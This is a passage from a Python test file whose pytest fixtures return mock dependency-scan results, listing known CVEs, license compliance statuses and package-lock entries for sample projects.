7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2018-1000656\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<0.12.3\"],\n                    \"publishedDate\": \"2018-08-20T21:31:00+02:00\",\n                    \"discoveredDate\": \"2018-08-20T19:31:00Z\",\n                    \"fixDate\": \"2018-08-20T21:31:00+02:00\",\n                },\n            ],\n            \"vulnerabilityDistribution\": {\"critical\": 1, \"high\": 3, \"medium\": 2, \"low\": 0, \"total\": 6},\n            \"license_statuses\": [\n                {\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_BDS\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"DUMMY_OTHER_LICENSE\",\n                    # not a real license. it is just for test a package with 2 licenses\n                    \"status\": \"OPEN\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"requests\",\n                    \"packageVersion\": \"2.26.0\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                }\n            ],\n            \"inlineSuppressions\": {\n                \"cves\": {\n                    \"byCve\": [\n                        {\n                            \"cveId\": \"CVE-2019-1010083\",\n                            \"reason\": \"Test CVE suppression 1\"\n                        },\n                        {\n                            \"cveId\": \"CVE-2016-6186\",\n                            \"reason\": \"Test CVE suppression 2\"\n                        }\n                    ]\n                },\n                \"licenses\": {\n                    \"byPackage\": [\n                        {\n                            \"licenses\": [],\n                            \"licensePolicy\": \"BC_LIC_1\",\n                            \"packageName\": \"django\",\n                            \"reason\": \"Test License suppression 1\"\n                        }\n                    ]\n                }\n            }\n        },\n        \"/path/to/sub/requirements.txt\": {\n            \"repository\": \"/path/to/sub/requirements.txt\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"python\",\n                    \"name\": \"requests\",\n                    \"version\": \"2.26.0\",\n                    \"path\": \"/path/to/sub/requirements.txt\",\n                }\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": None,\n            \"vulnerabilityDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"license_statuses\": [\n                {\n                    \"packageName\": \"requests\",\n                    \"packageVersion\": \"2.26.0\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                }\n            ],\n        },\n        \"/path/to/go.sum\": {\n            \"repository\": \"/path/to/go.sum\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/miekg/dns\",\n                    \"version\": \"v1.1.41\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"golang.org/x/crypto\",\n                    \"version\": \"v0.0.1\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/dgrijalva/jwt-go\",\n                    \"version\": \"v3.2.0\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/prometheus/client_model\",\n                    \"version\": \"v0.0.0-20190129233127-fd36f4220a90\",\n                    \"path\": \"/path/to/go.sum\",\n                }\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": [\n                {\n                    \"id\": \"CVE-2020-29652\",\n                    \"status\": \"fixed in v0.0.2\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"golang.org/x/crypto\",\n                    \"packageVersion\": \"v0.0.1\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-29652\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<v0.0.2\"],\n                    \"publishedDate\": \"2020-12-17T06:15:00+01:00\",\n                    \"discoveredDate\": \"2020-12-17T05:15:00Z\",\n                    \"fixDate\": \"2020-12-17T06:15:00+01:00\",\n                },\n                {\n                    \"id\": \"CVE-2020-26160\",\n                    \"status\": \"fixed in v4.0.0-preview1\",\n                    \"cvss\": 7.7,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\n                    \"description\": 'jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\\\"aud\\\\\"] (which is allowed by the specification). Because the type assertion fails, \\\\\"\\\\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.',\n                    \"severity\": \"high\",\n                    \"packageName\": \"github.com/dgrijalva/jwt-go\",\n                    \"packageVersion\": \"v3.2.0\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-26160\",\n                    'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                    'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                    \"impactedVersions\": [\"<v4.0.0-preview1\"],\n                    \"publishedDate\": \"2020-09-30T20:15:00+02:00\",\n                    \"discoveredDate\": \"2020-09-30T18:15:00Z\",\n                    \"fixDate\": \"2020-09-30T20:15:00+02:00\",\n                },\n            ],\n            \"vulnerabilityDistribution\": {\"critical\": 0, \"high\": 2, \"medium\": 0, \"low\": 0, \"total\": 2},\n        }\n    }\n\n@pytest.fixture(scope='package')\ndef scan_results_dt() -> Dict[str, Dict[str, Any]]:\n    return {\n        '/empty/package-lock.json':\n            {'branch': '', 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'},\n             'filePath': '/empty/package-lock.json', 'name': 'package-lock.json', 'packages': [],\n             'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'sourceType': 'CLI', 'type': 'Package', 'vulnerabilities': [],\n             'dependencyTreeS3ObjectKey': 'dependency_tree/ajbara/ajbara_cli_repo/ScaGoat-main/1670509263116/src/empty/dependency-tree-package-lock.json',\n             'email': '', 'customerName': 'ajbara', 'dependencies': {}, 'repositoryId': ''},\n        '/package-files/java/maven/normal/pom.xml':\n            {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '', 'sourceType': 'CLI',\n             'vulnerabilities': [\n                 {'cveId': 'CVE-2020-15250', 'status': 'fixed in 4.13.1', 'severity': 'moderate',\n                  'packageName': 'junit_junit', 'packageVersion': '4.12',\n                  'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-15250', 'cvss': 4,\n                  'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N',\n                  'description': \"In JUnit4 from version 4.7 and before 4.13.1, the test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system\\\\'s temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system. This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability. This vulnerability impacts you if the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder, and the JUnit tests execute in an environment where the OS has other untrusted users. Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using. For Java 1.7 and higher users: this vulnerability is fixed in 4.13.1. For Java 1.6 and lower users: no patch is available, you must use the workaround below. If you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability. For more information, including an example of vulnerable code, see the referenced GitHub Security Advisory.\",\n                  'riskFactors': {'Medium severity': {}, 'Attack complexity: low': {}, 'Has fix': {}},\n                  'riskFactorsV2': {'Severity': 'Medium', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low'},\n                  'publishedDate': '2020-10-12T17:33:00Z'},\n                 {'cveId': 'CVE-2015-6420', 'status': 'fixed in 3.2.2', 'severity': 'high',\n                  'packageName': 'commons-collections_commons-collections', 'packageVersion': '3.0',\n                  'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-6420', 'cvss': 7,\n                  'vector': 'AV:N/AC:L/Au:N/C:P/I:P/A:P',\n                  'description': 'Serialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices; Network Management and Provisioning; Routing and Switching - Enterprise and Service Provider; Unified Computing; Voice and Unified Communications Devices; Video, Streaming, TelePresence, and Transcoding Devices; Wireless; and Cisco Hosted Services products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2020-06-15T20:36:20Z'},\n                 {'cveId': 'CVE-2015-7501', 'status': 'fixed in 3.2.2', 'severity': 'critical',\n                  'packageName': 'commons-collections_commons-collections', 'packageVersion': '3.0',\n                  'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-7501', 'cvss': 9,\n                  'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H',\n                  'description': 'Red Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service Works (FSW) 6.x; Operations Network (JBoss ON) 3.x; Portal 6.x; SOA Platform (SOA-P) 5.x; Web Server (JWS) 3.x; Red Hat OpenShift/xPAAS 3.x; and Red Hat Subscription Asset Manager 1.3 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2022-05-13T01:25:20Z'},\n                 {'cveId': 'CVE-2021-45046', 'status': 'fixed in 2.16.0, 2.12.2, 2.3.1', 'severity': 'critical',\n                  'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0',\n                  'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046', 'cvss': 9,\n                  'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H',\n                  'description': 'It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2021-12-14T19:15:00Z'},\n                 {'cveId': 'CVE-2021-45105', 'status': 'fixed in 2.17.0, 2.12.3, 2.3.1', 'severity': 'high',\n                  'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0',\n                  'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45105', 'cvss': 7.5,\n                  'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                  'description': 'Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2021-12-18T18:00:07Z'},\n                 {'cveId': 'CVE-2021-44832', 'status': 'fixed in 2.17.1, 2.12.4, 2.3.2', 'severity': 'medium',\n                  'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0',\n                  'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832', 'cvss': 6.6,\n                  'vector': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H',\n                  'description': 'Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2021-12-28T20:15:00Z'},\n                 {'cveId': 'CVE-2021-44228', 'status': 'fixed in 2.15.0, 2.12.2', 'severity': 'critical',\n                  'packageName': 'org.apache.logging.log4j_log4j-core', 'packageVersion': '2.14.0',\n                  'link': 'https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228', 'cvss': 10,\n                  'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H',\n                  'description': 'Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2021-12-10T10:15:00Z'}],\n             'name': 'pom.xml',\n             'filePath': '/package-files/java/maven/normal/pom.xml',\n             'fileContent': None, 'packages': [\n                {'type': 'jar', 'name': 'junit_junit', 'version': '4.12', 'licenses': []},\n                {'type': 'jar', 'name': 'commons-collections_commons-collections', 'version': '3.0',\n                 'licenses': []},\n                {'type': 'jar', 'name': 'org.apache.logging.log4j_log4j-core', 'version': '2.14.0',\n                 'licenses': []}],\n             'cicdDetails': {'runId': 1, 'pr': '', 'commit': '',\n                             'scaCliScanId': '1670509263116'},\n             'customerName': 'ajbara',\n             'email': 'ajbara@paloaltonetworks.com',\n             'license_statuses': []},\n        '/package-files/yarn/package.json':\n            {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '', 'sourceType': 'CLI',\n             'vulnerabilities': [\n                 {'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium',\n                  'packageName': 'marked',\n                  'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None,\n                  'description': 'marked package prior to 1.1.1 are vulnerable to  Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.  Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2021-01-14T10:29:35Z'},\n                 {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high',\n                  'packageName': 'marked',\n                  'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj',\n                  'cvss': 7.5,\n                  'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                  'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2022-01-14T17:15:00Z'},\n                 {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high',\n                  'packageName': 'marked',\n                  'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf',\n                  'cvss': 7.5,\n                  'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                  'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n                  'riskFactors': {'Critical severity': {}, 'Attack complexity: low': {}, 'Has fix': {}, 'Remote execution': {}, 'Attack vector: network': {}},\n                  'riskFactorsV2': {'Severity': 'Critical', 'HasFix': True, 'DoS': False, 'AttackComplexity': 'low', 'AttackVector': 'network', 'RemoteExecution': True},\n                  'publishedDate': '2022-01-14T17:15:00Z'}],\n             'name': 'package.json', 'filePath': '/package-files/yarn/package.json',\n             'fileContent': None, 'packages': [\n                {'type': 'nodejs', 'name': 'marked', 'version': '0.3.9', 'licenses': []},\n                {'type': 'nodejs', 'name': 'csurf', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'cypress', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'mongodb', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'grunt-cli', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'zaproxy', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'should', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'nodemon', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'underscore', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'serve-favicon', 'version': '', 'licenses': []},\n                {'type': 'nodejs', 'name': 'swig', 'version': '', 'licenses': []}],\n             'cicdDetails': {'runId': 1, 'pr': '', 'commit': '',\n                             'scaCliScanId': '1670509263116'},\n             'customerName': 'ajbara',\n             'email': 'ajbara@paloaltonetworks.com', 'license_statuses': [\n                {'packageName': 'bcrypt-nodejs', 'packageVersion': '0.0.3', 'packageLang': 'nodejs',\n                 'license': 'NOT_FOUND', 'status': 'OPEN', 'policy': 'BC_LIC_2'},\n                {'packageName': 'marked', 'packageVersion': '0.3.9', 'packageLang': 'nodejs', 'license': 'MIT',\n                 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                {'packageName': 'needle', 'packageVersion': '2.2.4', 'packageLang': 'nodejs', 'license': 'MIT',\n                 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                {'packageName': 'node-esapi', 'packageVersion': '0.0.1', 'packageLang': 'nodejs',\n                 'license': 'NOT_FOUND',\n                 'status': 'OPEN', 'policy': 'BC_LIC_2'}]},\n        '/package-lock.json':\n            {'branch': '', 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'filePath': '/package-lock.json', 'name': 'package-lock.json', 'packages': [{'name': '@cypress/listr-verbose-renderer', 'version': '0.4.1', 'root': False}, {'name': 'chalk', 'version': '1.1.3', 'root': False}, {'name': 'supports-color', 'version': '2.0.0', 'root': False}, {'name': '@cypress/xvfb', 'version': '1.2.4',    'root': False}, {'name': 'debug', 'version': '3.2.7',   'root': False}, {'name': 'ms','version': '2.1.3', 'root': False}, {'name': '@types/sizzle','version': '2.3.2', 'root': False}, {'name': 'abbrev', 'version': '1.1.1', 'root': False},  {'name': 'accepts', 'version': '1.3.8', 'root': False}, {'name': 'mime-types', 'version': '2.1.34',  'root': False}, {'name': 'negotiator','version': '0.6.3','root': False},  {'name': 'adm-zip', 'version': '0.4.4', 'root': False,'cves_index': [3, 4]}, {'name': 'ajv', 'version': '6.12.6',  'root': False}, {'name': 'amdefine',      'version': '1.0.1', 'root': False}, {'name': 'ansi-align', 'version': '2.0.0', 'root': False}, {'name': 'ansi-regex',  'version': '3.0.0',  'root': False,  'cves_index': [0]}, {  'name': 'is-fullwidth-code-point',   'version': '2.0.0',    'root': False},{'name': 'string-width','version': '2.1.1','root': False},   {'name': 'strip-ansi', 'version': '4.0.0', 'root': False}, {'name': 'ansi-escapes', 'version': '1.4.0', 'root': False}, {'name': 'ansi-regex', 'version': '2.1.1', 'root': False}, {'name': 'ansi-styles', 'version': '2.2.1', 'root': False}, {'name': 'anymatch', 'version': '2.0.0', 'root': False}, {'name': 'micromatch', 'version': '3.1.10', 'root': False}, {'name': 'normalize-path', 'version': '2.1.1', 'root': False}, {'name': 'remove-trailing-separator', 'version': '1.1.0', 'root': False}, {'name': 'arch', 'version': '2.1.1', 'root': False}, {'name': 'argparse', 'version': '1.0.10', 'root': False}, {'name': 'sprintf-js', 'version': '1.0.3', 'root': False}, {'name': 'arr-diff', 'version': '4.0.0', 'root': False}, {'name': 'arr-flatten', 'version': '1.1.0', 'root': False}, {'name': 'arr-union', 'version': '3.1.0', 'root': False}, {'name': 'array-each', 'version': '1.0.1', 'root': False}, {'name': 'array-find-index', 'version': '1.0.2', 'root': False}, {'name': 'array-flatten', 'version': '1.1.1', 'root': False}, {'name': 'array-slice', 'version': '1.1.0', 'root': False}, {'name': 'array-unique', 'version': '0.3.2', 'root': False}, {'name': 'arrify', 'version': '1.0.1', 'root': False}, {'name': 'asap', 'version': '2.0.6', 'root': False}, {'name': 'asn1', 'version': '0.2.6', 'root': False}, {'name': 'assert-plus', 'version': '1.0.0', 'root': False}, {'name': 'assign-symbols', 'version': '1.0.0', 'root': False}, {'name': 'async', 'version': '2.6.3', 'root': False, 'cves_index': [2]}, {'name': 'async-each', 'version': '1.0.3', 'root': False}, {'name': 'asynckit', 'version': '0.4.0', 'root': False}, {'name': 'atob', 'version': '2.1.2', 'root': False}, {'name': 'available-typed-arrays', 'version': '1.0.5', 'root': False}, {'name': 'aws-sign2', 'version': '0.7.0', 'root': False}, {'name': 'aws4', 'version': '1.11.0', 'root': False}, {'name': 'balanced-match', 'version': '1.0.2', 'root': False}, {'name': 'base', 'version': '0.11.2', 'root': False}, {'name': 'cache-base', 'version': '1.0.1', 'root': False}, {'name': 'class-utils', 'version': '0.3.6', 'root': False}, {'name': 'component-emitter', 'version': '1.3.0', 'root': False}, {'name': 'define-property', 'version': '1.0.0', 'root': False}, {'name': 'isobject', 'version': '3.0.1', 'root': False}, {'name': 'mixin-deep', 'version': '1.3.2', 'root': False}, {'name': 'pascalcase', 'version': '0.1.1', 'root': False}, {'name': 'is-descriptor', 'version': '1.0.2', 'root': False}, {'name': 'is-accessor-descriptor', 'version': '1.0.0', 'root': False}, {'name': 'is-data-descriptor', 'version': '1.0.0', 'root': False}, {'name': 'kind-of', 'version': '6.0.3', 'root': False}, {'name': 'bcrypt-nodejs', 'version': '0.0.3', 'root': True}, {'name': 'bcrypt-pbkdf', 'version': '1.0.2', 'root': False}, {'name': 'binary-extensions', 'version': '1.13.1', 'root': False}, {'name': 'bindings', 'version': '1.5.0', 'root': False}, {'name': 'file-uri-to-path', 'version': '1.0.0', 'root': False}, {'name': 'bl', 'version': '1.0.3', 'root': False, 'cves_index': [1]}, {'name': 'isarray', 'version': '1.0.0', 'root': False}, {'name': 'process-nextick-args', 'version': '1.0.7', 'root': False}, {'name': 'readable-stream', 'version': '2.0.6', 'root': False}, {'name': 'string_decoder', 'version': '0.10.31', 'root': False}, {'name': 'bluebird', 'version': '3.7.2', 'root': False}, {'name': 'body', 'version': '5.1.0', 'root': False}, {'name': 'bytes', 'version': '1.0.0', 'root': False}, {'name': 'raw-body', 'version': '1.1.7', 'root': False}, {'name': 'body-parser', 'version': '1.19.2', 'root': False}, {'name': 'bytes', 'version': '3.1.2', 'root': False}, {'name': 'content-type', 'version': '1.0.4', 'root': False}, {'name': 'debug', 'version': '2.6.9', 'root': False}, {'name': 'depd', 'version': '1.1.2', 'root': False}, {'name': 'http-errors', 'version': '1.8.1', 'root': False}, {'name': 'iconv-lite', 'version': '0.4.24', 'root': False}, {'name': 'on-finished', 'version': '2.3.0', 'root': False}, {'name': 'qs', 'version': '6.9.7', 'root': False}, {'name': 'raw-body', 'version': '2.4.3', 'root': False}, {'name': 'type-is', 'version': '1.6.18', 'root': False}, {'name': 'boom', 'version': '2.10.1', 'root': False}, {'name': 'boxen', 'version': '1.3.0', 'root': False}, {'name': 'camelcase', 'version': '4.1.0', 'root': False}, {'name': 'brace-expansion', 'version': '1.1.11', 'root': False}, {'name': 'concat-map', 'version': '0.0.1', 'root': False}, {'name': 'braces', 'version': '2.3.2', 'root': False}, {'name': 'extend-shallow', 'version': '2.0.1', 'root': False}, {'name': 'fill-range', 'version': '4.0.0', 'root': False}, {'name': 'repeat-element', 'version': '1.1.4', 'root': False}, {'name': 'snapdragon', 'version': '0.8.2', 'root': False}, {'name': 'snapdragon-node', 'version': '2.1.1', 'root': False}, {'name': 'split-string', 'version': '3.1.0', 'root': False}, {'name': 'to-regex', 'version': '3.0.2', 'root': False}, {'name': 'is-extendable', 'version': '0.1.1', 'root': False}, {'name': 'broadway', 'version': '0.3.6', 'root': False}, {'name': 'cliff', 'version': '0.1.9', 'root': False}, {'name': 'eventemitter2', 'version': '0.4.14', 'root': False}, {'name': 'nconf', 'version': '0.6.9', 'root': False, 'cves_index': [5]}, {'name': 'utile', 'version': '0.2.1', 'root': False}, {'name': 'winston', 'version': '0.8.0', 'root': False}, {'name': 'async', 'version': '0.2.10', 'root': False}, {'name': 'async', 'version': '0.2.9', 'root': False}, {'name': 'optimist', 'version': '0.6.0', 'root': False}, {'name': 'colors', 'version': '0.6.2', 'root': False}, {'name': 'eyes', 'version': '0.1.8', 'root': False}, {'name': 'ini', 'version': '1.3.8', 